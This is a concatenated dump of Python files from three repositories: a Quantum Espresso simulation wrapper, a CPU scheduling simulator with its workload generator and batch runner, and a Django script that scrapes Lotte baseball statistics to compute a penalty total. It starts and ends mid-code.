"Ry")) def update_pressure(line): if line.startswith(" Computing"): try: pressure = float(lines[i+2].split()[5]) except: pressure = float(lines[i+4].split()[5]) cuds_entity = sim.get(oclass = QE.Pressure) if cuds_entity: cuds_entity[0].value = pressure cuds_entity[0].unit = "kbar" else: sim.add(QE.Pressure(value = pressure, unit = "kbar")) def update_force(line): if line.startswith(" atom "): atom = self.atomlist[int(line.split()[1])-1] force = [float(line.split()[j]) for j in range(6, 9)] cuds_entity = atom.get(oclass = QE.Force) if cuds_entity: cuds_entity[0].vector = force cuds_entity[0].unit = "N" else: atom.add(QE.Force(vector = force, unit = "N")) def update_stress_tensor(i, line): if line.startswith(" Computing"): try: stresslines = [lines[i+j] for j in range(3, 6)] raw_stress_tensor = [float(j) for j in "".join(stresslines).split()] except: stresslines = [lines[i+j] for j in range(5, 8)] raw_stress_tensor = [float(j) for j in "".join(stresslines).split()] stress_tensor_kbar = np.array(raw_stress_tensor).reshape((3, 6))[:,3:6] cuds_entity = sim.get(oclass = QE.StressTensor) if cuds_entity: cuds_entity[0].tensor2 = stress_tensor_kbar cuds_entity[0].unit = "kbar" else: sim.add(QE.StressTensor(tensor2 = stress_tensor_kbar, unit = "kbar")) def update_atomic_positions(i, line): if line.startswith("Begin"): positionslines = [lines[i+j] for j in range(3, 3+len(self.atomlist))] for j, line in enumerate(positionslines): atom = self.atomlist[j] position = [float(line.split()[k]) for k in range(1, 4)] cuds_entity = atom.get(oclass = QE.Position) cuds_entity[0].vector = position cuds_entity[0].unit = "kbar" def update_celldm1(line): if line.startswith("CELL_PARAMETERS"): celldm1 = float(line.split()[2][:-1]) cuds_entity = sim.get(oclass = QE.Cell)[0].get(oclass = QE.Celldm1) cuds_entity[0].value = celldm1 cuds_entity[0].unit = "au" def update_cell_params(i, line): if line.startswith("CELL_PARAMETERS"): paramlines = [lines[i+j] for j in range(1, 4)] cuds_entity = sim.get(oclass = QE.Cell)[0].get(oclass = QE.Cell)[0].get(oclass = QE.CellParams)[0] cuds_entity.get(oclass = QE.CellParameterX)[0].vector = [float(k) for k in paramlines[0].split()] cuds_entity.get(oclass = QE.CellParameterY)[0].vector = [float(k) for k in paramlines[1].split()] cuds_entity.get(oclass = QE.CellParameterZ)[0].vector = [float(k) for k in paramlines[2].split()] def update_volume(line): if line.startswith(" unit-cell volume"): volume = float(line.split()[3]) cuds_entity = sim.get(oclass = QE.Cell)[0].get(oclass = QE.Volume) if cuds_entity: cuds_entity[0].value = volume cuds_entity[0].unit = "au^3" else: sim.get(oclass = QE.Cell)[0].add(QE.Volume(value = volume, unit = "au^3")) # How the cuds simulation should be updated depending on what calculation type if self._session._calculation_type == "scf": with open(self._file_path_root + self._session._output_file, "r+") as file: lines = file.readlines() for i, line in enumerate(lines): update_total_energy(line) update_pressure(line) update_force(line) update_stress_tensor(i, line) update_volume(line) if self._session._calculation_type == "relax": with open(self._file_path_root + self._session._output_file, "r+") as file: lines = file.readlines() for i, line in enumerate(lines): update_total_energy(line) update_pressure(line) update_force(line) update_stress_tensor(i, line) update_atomic_positions(i, line) update_volume(line) if self._session._calculation_type == "vc-relax": with open(self._file_path_root + self._session._output_file, "r+") as file: lines = file.readlines() for i, line in enumerate(lines): update_total_energy(lines) update_pressure(lines) update_force(line) update_stress_tensor(i, line) update_atomic_positions(i, line) update_celldm1(i, line) update_volume(line) super()._update_cuds(sim) class bandsUtils(qeUtils): def _create_input(self, sim, **kwargs): self.params = { "BANDS": { "prefix": f"{self._session._prefix}", "outdir": ".", "filband": f"{self._session._prefix}" + ".bands.dat" } } self._session._calculation_type = "" self.sysinfo = [] super()._modify_input(sim, **kwargs) super()._create_input(sim, **kwargs) def _update_cuds(self, sim): sim.add(QE.BandsDat(path = self._file_path_root + self._session._prefix + ".bands.dat")) super()._update_cuds(sim) class dosUtils(qeUtils): def _create_input(self, sim, **kwargs): self.params = { "DOS": { "outdir": ".", "prefix": f"{self._session._prefix}", "DeltaE": 0.05, "fildos": f"{self._session._prefix}" + ".dos.dat" } } super()._modify_input(sim, **kwargs) super()._create_input(sim, **kwargs) def _update_cuds(self, sim): sim.add(QE.DosDat(path = self._file_path_root + self._session._prefix + ".dos.dat")) super()._update_cuds(sim) class ppUtils(qeUtils): def _create_input(self, sim, **kwargs): self.params = { "INPUTPP": { "prefix": f"{self._session._prefix}", "outdir": ".", "filplot": f"{self._session._prefix}.pp{self._session._calculation_type}.txt", # Note that plot_num is strictly int, reference to the significance of each values can be found here: https://www.quantum-espresso.org/Doc/INPUT_PP.html # We use calculation type because it is already in use "plot_num": self._session._calculation_type }, "PLOT": { "iflag": 3, "output_format": 3, "fileout": f"{self._session._prefix}{self._session._calculation_type}.pp.xsf", # TODO: add support for manual vectors here # TODO: add support for variable output formats } } super()._modify_input(sim, **kwargs) # Default plot settings if self.params["PLOT"]["iflag"] != 4: self.params["PLOT"][f"e1 ({1})"] = 1 self.params["PLOT"][f"e1 ({2})"] = 0 self.params["PLOT"][f"e1 ({3})"] = 0 for i in range(1, 4): self.params["PLOT"][f"x0 ({i})"] = 0 self.params["PLOT"]["nx"] = 101 if self.params["PLOT"]["iflag"] == (2 or 3): self.params["PLOT"][f"e2 ({1})"] = 0 self.params["PLOT"][f"e2 ({2})"] = 1 self.params["PLOT"][f"e2 ({3})"] = 0 self.params["PLOT"]["ny"] = 101 if self.params["PLOT"]["iflag"] == 3: self.params["PLOT"][f"e3 ({1})"] = 0 self.params["PLOT"][f"e3 ({2})"] = 0 self.params["PLOT"][f"e3 ({3})"] = 1 self.params["PLOT"]["nz"] = 101 if self.params["PLOT"]["iflag"] == 4: self.params["PLOT"]["radius"] == 1 self.params["PLOT"]["nx"] = 101 self.params["PLOT"]["ny"] = 101 if self.params["PLOT"]["output_format"] == (0 or 7): self.params["PLOT"]["fileout"] = self.params["PLOT"]["fileout"][:-4] + "plt" elif self.params["PLOT"]["output_format"] == 6: self.params["PLOT"]["fileout"] = self.params["PLOT"]["fileout"][:-4] + "pltrho" elif self.params["PLOT"]["output_format"] == 6: self.params["PLOT"]["fileout"] = self.params["PLOT"]["fileout"][:-4] + "cub" super()._create_input(sim, **kwargs) def _update_cuds(self, sim): sim.add(QE.XSF(path = self._file_path_root + self._session._prefix + ".pp.xsf")) super()._update_cuds(sim) class phUtils(qeUtils): def _create_input(self, sim, **kwargs): self.params = { "INPUTPH": { "outdir": ".", "prefix": f"{self._session._prefix}", "fildyn": f"{self._session._prefix}.ph.dyn" } } self.qpoints = [] for point in sim.get(oclass = QE.QPoint): if point.calculate == True: self.qpoints.append(point) try: if self.params["ldisp"] != ".true." and self.params["qplot"] != ".true.": self.sysinfo = { "": [["0 0 0"]] # TODO: manual q point # TODO: add support for multiple q points } else: self.sysinfo = {} except: self.sysinfo = {} super()._modify_input(sim, **kwargs) super()._create_input(sim, **kwargs) def _update_cuds(self, sim): sim.add(QE.PhOut(path = self._file_path_root + self._session._output_file)) with open(self._file_path_root + self._session._output_file, 'r') as file: lines = file.readlines() beginend = [] for i, line in enumerate(lines): if line.startswith(" ****"): beginend.append(i) q_point = self.qpoints[0] for i in range(beginend[0]+1, beginend[1]): freq = float(lines[i].split()[4]) modenum = int(lines[i].split()[2][:-1]) unit = lines[i].split()[5][1:-1] for mode in q_point.get(oclass = QE.Mode): if mode.number == modenum: if mode.get(oclass = QE.Frequency): mode.get(oclass = QE.Frequency)[0].value = freq mode.get(oclass = QE.Frequency)[0].unit = unit else: mode.add(QE.Frequency(value = freq, unit = unit)) super()._update_cuds(sim) class cliUtils(qeUtils): def _modify_input(self, sim, **kwargs): for key, value in kwargs.items(): self.params.update(value) def _update_cuds(self, sim): pass class plotbandUtils(cliUtils): def _create_input(self, sim, **kwargs): self.params = { "Input file": "1", "Emin, Emax": "2", "gnuplot": "3", "ps": "4", "Efermi": "5", "deltaE": "6" } super()._modify_input(sim, **kwargs) def _update_cuds(self, sim): pass class evUtils(cliUtils): def _create_input(self, sims, **kwargs): with open(self._file_path_root + self._session._input_file, "w+") as f: for s in sims: total_energy = simple_search.find_cuds_objects_by_oclass(oclass = QE.TotalEnergy, root = s, rel = QE.HAS_PART)[0].value volume = simple_search.find_cuds_objects_by_oclass(oclass = QE.Volume, root = s, rel = QE.HAS_PART)[0].value f.write(f"{volume} {total_energy}\n") self.params = { "Lattice parameter": "au", "type": "noncubic", "equation of state": self._session._calculation_type, "Input": self._file_path_root + self._session._input_file, "Output": self._file_path_root + self._session._output_file, } super()._modify_input(sim, **kwargs) def _update_cuds(self, sims): # Updates equilibrium volume and bulk modulus. with open(self._file_path_root + self._session._output_file, 'r') as file: lines = file.readlines() v0 = lines[1].split()[3] b0 = lines[1].split()[6][1:] for s in sims: volume_entity = s.get(oclass = QE.Cell)[0].get(oclass = QE.EquilibriumVolume) modulus_entity = s.get(oclass = QE.BulkModulus) if volume_entity: volume_entity[0].value = float(v0) volume_entity[0].unit = "au^3" else: s.get(oclass = QE.Cell)[0].add(QE.EquilibriumVolume(value = v0, unit = "au^3")) if modulus_entity: modulus_entity[0].value = float(b0) volume_entity[0].unit = "kbar" else: s.add(QE.BulkModulus(value = b0, unit = "kbar")) # class alpha2fUtils(qeUtils): # def _create_input(self, sim, **kwargs): # self.params = { # "INPUTPH": { # "outdir": "'.'", # "prefix": f"'{self._session._prefix}'", # "fildyn": f"'{self._session._prefix}.ph.dyn'" # }, # "INPUTa2F": { # "nfreq": 500 # } # } # super()._modify_input(sim, **kwargs) # super()._create_input(sim, **kwargs) # def _update_cuds(self, sim): # sim.add(QE.A2fDat) # super()._update_cuds(sim) # # class epaUtils(qeUtils): # # def _create_input(self, sim, **kwargs): # # with open(self._file_path_root + self._session._input_file, "w+") as file: # class dynmatUtils(qeUtils): # def _create_input(self, sim, **kwargs): # super()._modify_input(sim, **kwargs) # super()._create_input(sim, **kwargs) --- FILE SEPARATOR --- from setuptools import setup, find_packages #Read description with open('README.md', 'r') as readme: README_TEXT = readme.read() #Main setup configuration class setup( name = 'quantum-espresso', version = '1.0', author = 'Materials Informatics team, Fraunhofer IWM', description = 'Simulation wrapper for Quantum Espresso/SimPhoNy', long_description = README_TEXT, packages = find_packages(), test_suite = 'tests', entry_points={ 'wrappers': 'quantumespresso = osp.wrappers.quantumespresso:QESession' }, install_requires = ['osp-core>=3.4.0'] )
[ "/examples/Si_simple.py", "/examples/pw_short_example.py", "/examples/pw_short_example_osp.py", "/osp/wrappers/quantumespresso/qe_engine.py", "/osp/wrappers/quantumespresso/qe_session.py", "/osp/wrappers/quantumespresso/qe_utils.py", "/setup.py" ]
00ricardo/Experimental-Methods-in-Computer-Science-Project
#!/usr/bin/env python3 # Synopsis # ./gen_workload.py num_procs mean_io_bursts mean_iat min_CPU max_CPU min_IO max_IO # Description # Generate workload for CPU scheduler simulation. # Interarrival times follow an exponential distribution with mean lambda. # CPU and I/O bursts # # Workload format: one line per process, each containing a sequence of # floating-point numbers of even length. In each line, the first number # represents the arrival time of the process, and the remaining numbers # represent the length of the CPU and I/O bursts that result from running # the process. Since the processes must start and end with a CPU burst, the # total number of bursts must be odd (and the number of numbers in each line # must be even). import sys import numpy as np def main(num_procs,mean_io_bursts,mean_iat,min_CPU,max_CPU,min_IO,max_IO,r_seed,file_name): f = open(file_name,"wt") f.write('# seed = {0}\n'.format(r_seed)) f.write('# num_procs = {0}\n'.format(num_procs)) f.write('# mean_io_bursts = {0}\n'.format(mean_io_bursts)) f.write('# mean_iat = {0}\n'.format(mean_iat)) f.write('# min_CPU = {0}\n'.format(min_CPU)) f.write('# max_CPU = {0}\n'.format(max_CPU)) f.write('# min_IO = {0}\n'.format(min_IO)) f.write('# max_IO = {0}\n'.format(max_IO)) print("# file = %s" %file_name) print("# seed = %d" % r_seed) print("# num_procs = %d" % num_procs) print("# mean_io_bursts = %g" % mean_io_bursts) print("# mean_iat = %d" % mean_iat) print("# min_CPU = %g" % min_CPU) print("# max_CPU = %g" % max_CPU) print("# min_IO = %g" % min_IO) print("# max_IO = %g" % max_IO) np.random.seed(r_seed) t = 0. for i in range(num_procs): t += np.random.exponential(mean_iat) print(t, end=' ') f.write('{0} '.format(t)) io_bursts = np.random.poisson(mean_io_bursts) # Why Poisson? Why not? book_play = np.random.randint(10,12) for j in range(io_bursts): burst = np.random.uniform(min_CPU, max_CPU) if j > book_play and io_bursts-j>5: burst = burst*np.random.uniform(4, 6) print(burst, end=' ') f.write('{0} '.format(burst)) burst = np.random.uniform(min_IO, max_IO) print(burst, end=' ') f.write('{0} '.format(burst)) burst = np.random.uniform(min_CPU, max_CPU) print(burst) f.write('{0}\n'.format(burst)) f.close() if __name__ == "__main__": if len(sys.argv) == 10: num_procs = int(sys.argv[1]) mean_io_bursts = int(sys.argv[2]) mean_iat = float(sys.argv[3]) min_CPU = float(sys.argv[4]) max_CPU = float(sys.argv[5]) min_IO = float(sys.argv[6]) max_IO = float(sys.argv[7]) r_seed = int(sys.argv[8]) file_name = sys.argv[9] main(num_procs,mean_io_bursts,mean_iat,min_CPU,max_CPU,min_IO,max_IO,r_seed,file_name) else: raise Exception("The number of arguments should be 9.") --- FILE SEPARATOR --- import gen_workload as generator import simulator as simulator import xlsxwriter import time def save2Excel(workbook,worksheet_name, file_name): worksheet = workbook.add_worksheet(worksheet_name) bold = workbook.add_format({'bold': True}) worksheet.write('A1', 'PID', bold) worksheet.write('B1', 'Arrival Time', bold) worksheet.write('C1', 'CPU Burst Time', bold) worksheet.write('D1', 'IO Burst Time', bold) worksheet.write('E1', 'Bursts Time', bold) worksheet.write('F1', 'Turn Around Time', bold) worksheet.write('G1', 'Ready Wait Time', bold) worksheet.write('H1', 'IO Wait Time', bold) file = open(file_name,"r") with file as f: #read first 3 lines that have no data f.readline() f.readline() f.readline() l = f.readline() row = 1 #excel row while l: vals = [float(x) for x in l.split()] worksheet.write(row, 0, vals[0]) worksheet.write(row, 1, vals[1]) worksheet.write(row, 2, vals[2]) worksheet.write(row, 3, vals[3]) worksheet.write(row, 4, vals[4]) worksheet.write(row, 5, vals[5]) worksheet.write(row, 6, vals[6]) worksheet.write(row, 7, vals[7]) l = f.readline() row+=1 def parseSimulations(): fcfs_workbook = xlsxwriter.Workbook("Results/fcfs_results.xlsx") sjf_workbook = xlsxwriter.Workbook("Results/sjf_results.xlsx") srtf_workbook = xlsxwriter.Workbook("Results/srtf_results.xlsx") rr5_workbook = xlsxwriter.Workbook("Results/rr5_results.xlsx") rr10_workbook = xlsxwriter.Workbook("Results/rr10_results.xlsx") rr15_workbook = xlsxwriter.Workbook("Results/rr15_results.xlsx") file = open("Results/simulations.txt","r") with file as f: l = f.readline() while l: vals = [str(x) for x in l.split()] if vals[1] == 'Results/fcfs_results.xlsx': save2Excel(fcfs_workbook,vals[2],vals[0]) elif vals[1] == 'Results/sjf_results.xlsx': save2Excel(sjf_workbook,vals[2],vals[0]) elif vals[1] == 'Results/srtf_results.xlsx': save2Excel(srtf_workbook,vals[2],vals[0]) elif vals[1] == 'Results/rr5_results.xlsx': save2Excel(rr5_workbook,vals[2],vals[0]) elif vals[1] == 'Results/rr10_results.xlsx': save2Excel(rr10_workbook,vals[2],vals[0]) elif vals[1] == 'Results/rr15_results.xlsx': save2Excel(rr15_workbook,vals[2],vals[0]) else: raise ValueError("Unknown workbook") l = f.readline() fcfs_workbook.close() sjf_workbook.close() srtf_workbook.close() rr5_workbook.close() rr10_workbook.close() rr15_workbook.close() def chess_simulations(): seed = 1 num_procs = 10 mean_io_bursts = 40 mean_iat = 500 min_CPU = 4 max_CPU = 6 min_IO = 5 max_IO = 10 scheduler = 'fcfs' #"fcfs", "rr", "sjf", "srtf" quantum = None f = open("Results/simulations.txt","a+") for i in range (30): seed = i input_file = "Workloads/seed{0}_procs{1}.txt".format(seed,num_procs) generator.main(num_procs,mean_io_bursts,mean_iat,min_CPU,max_CPU,min_IO,max_IO,seed,input_file) scheduler = 'fcfs' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) scheduler = 'sjf' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) scheduler = 'srtf' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) quantum = 5 scheduler = 'rr' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}{1}_results.xlsx".format(scheduler,quantum),"seed{0}_procs{1}.txt".format(seed,num_procs))) num_procs = 150 for i in range (30): seed = i input_file = "Workloads/seed{0}_procs{1}.txt".format(seed,num_procs) generator.main(num_procs,mean_io_bursts,mean_iat,min_CPU,max_CPU,min_IO,max_IO,seed,input_file) scheduler = 'fcfs' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) scheduler = 'sjf' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) scheduler = 'srtf' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) quantum = 5 scheduler = 'rr' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}{1}_results.xlsx".format(scheduler,quantum),"seed{0}_procs{1}.txt".format(seed,num_procs))) num_procs = 500 for i in range (30): seed = i input_file = "Workloads/seed{0}_procs{1}.txt".format(seed,num_procs) generator.main(num_procs,mean_io_bursts,mean_iat,min_CPU,max_CPU,min_IO,max_IO,seed,input_file) scheduler = 'fcfs' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) scheduler = 'sjf' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) scheduler = 'srtf' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) quantum = 5 scheduler = 'rr' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}{1}_results.xlsx".format(scheduler,quantum),"seed{0}_procs{1}.txt".format(seed,num_procs))) num_procs = 1000 for i in range (30): seed = i input_file = "Workloads/seed{0}_procs{1}.txt".format(seed,num_procs) generator.main(num_procs,mean_io_bursts,mean_iat,min_CPU,max_CPU,min_IO,max_IO,seed,input_file) scheduler = 'fcfs' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) scheduler = 'sjf' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) scheduler = 'srtf' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}_results.xlsx".format(scheduler),"seed{0}_procs{1}.txt".format(seed,num_procs))) quantum = 5 scheduler = 'rr' output_file = "Simulations/seed{0}_procs{1}_{2}.txt".format(seed,num_procs,scheduler) simulator.main(scheduler,quantum,input_file,output_file) f.write("{0} {1} {2}\n".format(output_file,"Results/{0}{1}_results.xlsx".format(scheduler,quantum),"seed{0}_procs{1}.txt".format(seed,num_procs))) f.close() if __name__ == "__main__": #parseSimulations() chess_simulations() print("DONE") --- FILE SEPARATOR --- #!/usr/bin/env python3 # # Simulator for a CPU and I/O scheduling system assuming a single # CPU and I/O. The CPU scheduler uses one of the following # scheduling algorithms: First Come First Served (FCFS), Round Round # (RR), Shortest Job First (SJF), and Shortest Remaining Time First # (SRTF). Note that the last two require knowing the burst sizes in # advance, which is not realistic in computer process scheduling. The # I/O scheduler always follows a FCFS mechanism. # # Workload format: one line per process, each containing a sequence of # floating-point numbers of even length. In each line, the first # number represents the arrival time of the process, and the remaining # numbers represent the length of the CPU and I/O bursts that result # from running the process. Since the processes must start and end # with a CPU burst, the total number of bursts must be odd (and the # number of numbers in each line must be even). # # Output format: one line per process, each containing a sequence of # numbers separated by spaces. The first number gives the process id # (defined by the order in the workload file). The second number is # the arrival time of the process. Then the next three numbers give # the sum of all cpu bursts, the sum of all io bursts, and the sum all # bursts respectively. The last three values given the Turn Around # Time (TAT), i.e. the wall clock time, the Ready wait time, i.e. the # time the process spent in the CPU scheduling queue ready to run, and # the I/O wait time, i.e. the time the process spent in I/O. import sys import argparse import salabim as sim import numpy as np def read_workload(file): if file is None: file = sys.stdin else: file = open(file, "r") pid = 0 procs = [] with file as f: l = f.readline() while l: if l[0] != "#": vals = [float(x) for x in l.split()] procs.append(Process(pid = pid, arrival = vals[0], bursts = vals[1:])) pid += 1 l = f.readline() return procs class Process: def __init__(self, pid, arrival, bursts): self.pid = pid self.arrival = arrival self.bursts = bursts class Simulator: def __init__(self, processes, cpu_scheduler, quantum = None, ofile = None): self.cpu_scheduler = cpu_scheduler self.quantum = quantum # for round robin scheduler if self.cpu_scheduler == "rr" and self.quantum is None: raise ValueError("Quantum parameter is required for round robin") if self.quantum is not None and self.quantum <= 0: raise ValueError("Quantum parameter needs to be a positive (non-zero) value") self.processes = processes processes.sort(key = lambda x: x.arrival) self.ofile = sys.stdout if ofile == None else open(ofile, "w") print("# Cpu scheduler: %s" % self.cpu_scheduler, file = self.ofile) print("# Quantum: %s" % self.quantum, file = self.ofile) self.env = sim.Environment(trace = False) self.cpu = sim.Resource("CPU", capacity = 1, preemptive = self.cpu_scheduler == "srtf") self.io = sim.Resource("I/O", capacity = 1) ProcessArrival(simulator = self) def __del__(self): if self.ofile != sys.stdout: self.ofile.close() def run(self): print("pid arrival_time cpu_bursts_time io_bursts_time bursts_time tat ready_wait_time io_wait_time", file = self.ofile) self.env.run() class ProcessArrival(sim.Component): def setup(self, simulator): self.simulator = simulator def process(self): for p in self.simulator.processes: yield self.hold(till = p.arrival) ProcessComponent(simulator = self.simulator, pid = p.pid, arrival = p.arrival, bursts = p.bursts) class ProcessComponent(sim.Component): def setup(self, simulator, pid, arrival, bursts): self.simulator = simulator self.pid = pid self.arrival = arrival self.bursts = bursts self.ready_wait_time = 0 self.io_wait_time = 0 def process(self): b = self.bursts clock_start = self.simulator.env.now() for i in range(1, len(b), 2): yield from self.__schedule_cpu_burst(b[i-1]) yield from self.__schedule_io_burst(b[i]) yield from self.__schedule_cpu_burst(b[-1]) tat = self.simulator.env.now() - clock_start print(self.pid, end = " ", file = self.simulator.ofile) print(self.arrival, end = " ", file = self.simulator.ofile) print(np.sum(b[0:len(b):2]), end = " ", file = self.simulator.ofile) print(np.sum(b[1:len(b):2]), end = " ", file = self.simulator.ofile) print(np.sum(b), end = " ", file = self.simulator.ofile) print(tat, end = " ", file = self.simulator.ofile) print(self.ready_wait_time, end = " ", file = self.simulator.ofile) print(self.io_wait_time, end = "\n", file = self.simulator.ofile) def __schedule_cpu_burst(self, burst): if self.simulator.cpu_scheduler == "fcfs": yield from self.__queue_cpu(self.simulator.cpu) yield self.hold(duration = burst) self.release(self.simulator.cpu) elif self.simulator.cpu_scheduler == "rr": s = burst while s > self.simulator.quantum: yield from self.__queue_cpu(self.simulator.cpu) yield self.hold(duration = self.simulator.quantum) self.release(self.simulator.cpu) s -= self.simulator.quantum yield from self.__queue_cpu(self.simulator.cpu) yield self.hold(duration = s) self.release(self.simulator.cpu) elif self.simulator.cpu_scheduler == "sjf": yield from self.__queue_cpu((self.simulator.cpu, 1, burst)) yield self.hold(duration = burst) self.release(self.simulator.cpu) elif self.simulator.cpu_scheduler == "srtf": s = burst while True: yield from self.__queue_cpu((self.simulator.cpu, 1, s)) yield self.hold(duration = s, mode = "") if not self.isbumped(): break s -= self.simulator.env.now() - self.mode_time() yield self.standby() self.release(self.simulator.cpu) else: raise ValueError("Unknown cpu_scheduler") def __queue_cpu(self, arg): ready_wait_start = self.simulator.env.now() yield self.request(arg) self.ready_wait_time += self.simulator.env.now() - ready_wait_start def __schedule_io_burst(self, burst): io_start = self.simulator.env.now() yield self.request(self.simulator.io) yield self.hold(duration = burst) self.release(self.simulator.io) self.io_wait_time += self.simulator.env.now() - io_start def main(cpu_scheduler,quantum,input_file,output_file): processes = read_workload(file = input_file) simulator = Simulator(processes = processes, cpu_scheduler = cpu_scheduler, quantum = quantum, ofile = output_file) simulator.run() if __name__ == '__main__': parser = argparse.ArgumentParser(description = "CPU and I/O scheduling simulator") parser.add_argument("--cpu-scheduler", choices = ["fcfs", "rr", "sjf", "srtf"], required = True, help = "CPU scheduler") parser.add_argument("--quantum", type=float, default = None, help = "Quantum paramater (required only by round robin cpu scheduler)") parser.add_argument("--input-file", metavar = "FILE", default = None, help = "Input file, if it is not the data is read from stdin") parser.add_argument("--output-file", metavar = "FILE", default = None, help = "Output file, if it is not set the data is printed to stdout") args = parser.parse_args(sys.argv[1:]) output_file = sys.stdout if args.output_file is None else args.output_file processes = read_workload(file = args.input_file) simulator = Simulator(processes = processes, cpu_scheduler = args.cpu_scheduler, quantum = args.quantum, ofile = args.output_file) simulator.run()
[ "/gen_workload.py", "/run_tests.py", "/simulator.py" ]
01-2/lotte_error_deposit
import pandas as pd import datetime import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "lotte_error_deposit.settings") import django django.setup() from parsed_total_data.models import TotalData, SeasonData ''' SO(Strike Outs/500) & DP(Double Plays/1000) : http://www.statiz.co.kr/stat.php?re=0&lr=5 HR(Home Run/1000) & BK(Balk/3000) & PB(Passed Balls/5000) : http://www.statiz.co.kr/stat.php?re=1&lr=5 E(Error/10000) : http://www.statiz.co.kr/stat.php?re=2&lr=5 ''' def calc_money(stkOut, dbplay, homerun, balk, passedBall, error): money = (stkOut * 500) + (dbplay * 1000) + \ (homerun * 1000) + (balk * 3000) + \ (passedBall * 5000) + (error * 10000) return money def get_data() : df_bat = pd.read_html('http://www.statiz.co.kr/stat.php?re=0&lr=5')[0] df_pit = pd.read_html('http://www.statiz.co.kr/stat.php?re=1&lr=5')[0] df_def = pd.read_html('http://www.statiz.co.kr/stat.php?re=2&lr=5')[0] df_bat = df_bat.drop(df_bat.index[0:4]) df_pit = df_pit.drop(df_pit.index[0:4]) df_def = df_def.drop(df_def.index[0:4]) col_list = [] for i in range(0, df_bat.columns.size): col_list.append(df_bat.columns.values[i][2]) df_bat.columns = col_list col_list = [] for i in range(0, df_pit.columns.size): col_list.append(df_pit.columns.values[i][2]) df_pit.columns = col_list col_list = [] for i in range(0, df_def.columns.size): col_list.append(df_def.columns.values[i][2]) df_def.columns = col_list df_bat = df_bat.loc[:, ~df_bat.columns.str.contains('^Unnamed')] df_pit = df_pit.loc[:, ~df_pit.columns.str.contains('^Unnamed')] df_def = df_def.loc[:, ~df_def.columns.str.contains('^Unnamed')] bat_lotte = df_bat[df_bat['이름'].isin(['롯데'])] pit_lotte = df_pit[df_pit['이름'].isin(['롯데'])] def_lotte = df_def[df_def['이름'].isin(['롯데'])] print(bat_lotte) print(pit_lotte) print(def_lotte) so_num = bat_lotte['삼진'].astype(int) dp_num = bat_lotte['병살'].astype(int) print('삼진 : {0} / 병살 : {1}'.format(so_num.values, dp_num.values)) hr_num = pit_lotte['홈런'].astype(int) bk_num = pit_lotte['보크'].astype(int) pb_num = pit_lotte['폭투'].astype(int) print('피홈런 : {0} / 보크 : {1} / 폭투 : {2}'.format(hr_num.values, bk_num.values, pb_num.values)) e_num = def_lotte['실책'].astype(int) print('실책 : {0}'.format(e_num.values)) result = {'stkOut':so_num, 'dbplay':dp_num, 'homerun':hr_num, 'balk':bk_num, 'passedBall':pb_num, 'error':e_num} return result if __name__=='__main__': season_data = SeasonData.objects.last() total_data = get_data() if season_data is not None : diff_stkOut = int(total_data['stkOut']) - (getattr(season_data, 